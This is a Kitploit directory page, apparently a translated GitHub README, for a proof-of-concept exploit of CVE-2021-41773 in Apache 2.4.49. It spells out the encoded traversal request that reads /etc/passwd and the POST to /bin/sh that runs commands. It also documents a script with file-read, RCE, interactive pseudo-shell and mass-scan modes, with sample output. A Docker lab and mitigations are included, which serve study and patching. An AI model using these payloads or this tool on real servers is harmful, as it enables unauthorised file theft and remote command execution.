Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-41773 — CVE-2021-41773的概念验证 | Kitploit
工具/GitHubGitHub/joapath/cve-2021-41773
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubjoapath/cve-2021-41773

CVE-2021-41773

CVE-2021-41773的概念验证

查看仓库
378天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2021-41773 — PoC:通过 mod_cgi 实现路径遍历 + RCE

仅供在受控和自有环境中使用。未经授权不得用于攻击系统。


描述

为演示和理解 Apache HTTP Server 2.4.49 中存在的 CVE-2021-41773 漏洞而开发的 PoC。

该缺陷位于 ap_normalize_path() 函数中,该函数未能正确验证 URL 编码字符。这允许攻击者通过编码字符序列(%2e%2e%2f 而非 ../)跳出 DocumentRoot,读取系统中的任意文件。

当 mod_cgi 模块启用时,该漏洞可升级为 RCE(远程代码执行),允许以 Apache 进程的权限直接在服务器上执行命令。


利用所需条件

服务器必须满足所有以下条件才存在漏洞:

条件详情
Apache 版本恰好为 2.4.49
访问指令配置中为 Require all granted
CGI 模块mod_cgi 已启用(仅用于 RCE)

攻击原理

阶段 1 — 路径遍历

Apache 2.4.49 会过滤经典的 ../,但不会过滤其 URL 编码版本。攻击者构造一条过滤器无法检测、但操作系统能正确解析的路径:

GET /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd

%2e%2e%2f 是 ../ 的 URL 编码。Apache 允许其通过,操作系统会解析它,结果就是访问 Web 目录之外的文件。

阶段 2 — 通过 mod_cgi 实现 RCE

在 mod_cgi 启用的情况下,路径遍历被用来指向 /bin/sh 而不是某个文件。Apache 将其视为 CGI 脚本并执行它。命令通过 POST 的 body 以最小 shell 脚本的形式传输:

POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
Content-Type: application/x-www-form-urlencoded

echo 'Content-Type: text/plain'; echo; id 2>&1

命令的输出会在 HTTP 响应中返回。


测试环境

该仓库在 setup/ 中包含一个可直接复现该漏洞的环境:

cd setup
docker compose up -d

这会在 8080 端口启动 Apache 2.4.49,并采用易受攻击的配置(Require all granted + 启用 mod_cgi)。实验环境文件:

文件描述
setup/docker-compose.yml包含 Apache 2.4.49 的容器
setup/httpd.confApache 的易受攻击配置

所使用的配置文件位于 setup/ 中。

漏洞利用的技术决策

  • 为什么用 urllib3 而不是 requests? requests 会在发送前自动重新编码路径中的字符。 这会破坏 payload,因为服务器收到的是 %252e 而不是 %2e。 urllib3 允许在不修改的情况下发送路径。

  • 为什么用 .%2e/ 而不是 %2e%2e/? Apache 在 mod_rewrite 模块中过滤 %2e%2e/。 变体 .%2e/ 在语义上等价,但能通过过滤器, 因为路径规范化发生在验证之后。

限制

  • 必须启用 mod_cgi 模块,RCE 模式才能生效。 没有它,只能进行路径遍历。
  • 如果 Apache 位于会过滤路径中双重编码的 WAF 之后, 该漏洞利用将无法工作。
  • 仅在 Linux 上的 Apache 2.4.49 上测试过。 2.4.50 版本需要额外的绕过(参见 CVE-2021-42013)。

脚本用法

python PoC_2021-41773.py --target <URL> --mode <modo> [opciones]
python PoC_2021-41773.py --input-file <archivo> --mode check [--threads N] [--output resultados.json]

参数

参数必需描述
--target是*服务器基础 URL(例如:http://localhost:8080)
--input-file / -iF是*包含目标列表的文件(每行一个)
--mode是操作模式(见下表)
--cmd否在 rce 模式下执行的命令(默认:id)
--file否在 traversal 模式下读取的文件(默认:/etc/passwd)
--threads / -t否用于批量扫描的线程数(默认:10,仅与 --input-file 一起使用)
--output / -o否将结果导出为 JSON(仅与 --input-file 一起使用)

* --target 和 --input-file 互斥——使用其中之一。

操作模式

模式描述
check检查目标是否存在漏洞以及是否启用了 mod_cgi,不提取敏感数据
traversal通过路径遍历读取系统上的任意文件
rce通过 mod_cgi 在服务器上执行单条命令
shell用于连续执行 RCE 命令的交互式伪 shell

示例

# Verificar si el servidor es vulnerable
python PoC_2021-41773.py --target http://localhost:8080 --mode check

# Leer /etc/passwd del servidor
python PoC_2021-41773.py --target http://localhost:8080 --mode traversal

# Leer un archivo específico
python PoC_2021-41773.py --target http://localhost:8080 --mode traversal --file /etc/hosts

# Ejecutar un comando
python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd whoami

# Abrir un pseudo-shell interactivo
python PoC_2021-41773.py --target http://localhost:8080 --mode shell

# Escaneo masivo con exportación a JSON
python PoC_2021-41773.py -iF targets.txt --mode check -t 20 -o results.json

预期输出 — check 模式

───────────────────────────────────────────────────────
  CVE-2021-41773 — Apache 2.4.49 Path Traversal + RCE
  PoC con fines educativos y profesionales
───────────────────────────────────────────────────────

[*] Modo: Check de vulnerabilidad
[*] Objetivo: http://localhost:8080
[*] Probando traversal contra /etc/hostname...
[*] Header Server: Apache/2.4.49 (Unix)
[+] VULNERABLE — el servidor devolvió /etc/hostname
    Hostname: e0d20311f3e6
[+] mod_cgi habilitado — RCE posible

预期输出 — 遍历模式

[+] Modo: Path Traversal
[*] Objetivo: http://localhost:8080
[*] Archivo:  /etc/passwd
[*] URL:      http://localhost:8080/traversal/.%2e/.%2e/.%2e/.%2e/etc/passwd
[*] Enviando request...

[+] Servidor vulnerable — Status 200
──────────────────────────────────────────────────
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
──────────────────────────────────────────────────

预期输出 — rce 模式

[+] Modo: RCE via mod_cgi
[*] Objetivo: http://localhost:8080
[*] Comando:  whoami
[*] Enviando request...

[+] RCE confirmado
──────────────────────────────────────────────────
daemon
──────────────────────────────────────────────────

预期输出 — shell 模式

[+] Modo: Shell interactivo via mod_cgi
[*] Objetivo: http://localhost:8080
[*] Verificando RCE...
[+] RCE confirmado — uid=1(daemon) gid=1(daemon) groups=1(daemon)
[*] Escribí 'exit' o 'quit' para salir.

apache> id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
apache> ls /
bin  boot  dev  etc  home  lib  lib64  ...
apache> exit
[*] Cerrando shell.

预期输出 — 大规模扫描

[*] Cargados 5 targets
[*] Threads: 5
[*] Iniciando escaneo...

[1/5] [+] http://10.0.0.1:8080 — VULNERABLE (RCE)
[2/5] [-] http://10.0.0.2:8080 — no vulnerable
[3/5] [!] http://10.0.0.3:9999 — error de conexión
[4/5] [+] http://10.0.0.4:8080 — VULNERABLE (solo traversal)
[5/5] [!] http://10.0.0.5:1234 — error de conexión

══════════════════════════════════════════════════
  Resultados: 5 targets escaneados
  Vulnerables:     2  (1 con RCE)
  No vulnerables:  1
  Errores:         2
  Exportado a:    results.json
══════════════════════════════════════════════════

该 JSON 文件包含扫描元数据以及一个结果数组,每个目标包含 target、status、server、hostname 和 rce。


缓解措施

  • 将 Apache 升级到 2.4.51 或更高版本。
  • 将 Require all denied 配置为默认值。
  • 若非严格必要,禁用 mod_cgi。

参考资料

  • Rapid7 — CVE-2021-41773 已在野被利用
  • Qualys — 路径遍历与 RCE 分析
  • NVD — CVE-2021-41773

⚠️ 本仓库仅用于教育目的。
未经明确授权对系统使用此漏洞利用程序是违法的。
仅在受控的本地环境中进行过测试。

为进攻性安全作品集的教育目的而开发的 PoC。

下载工具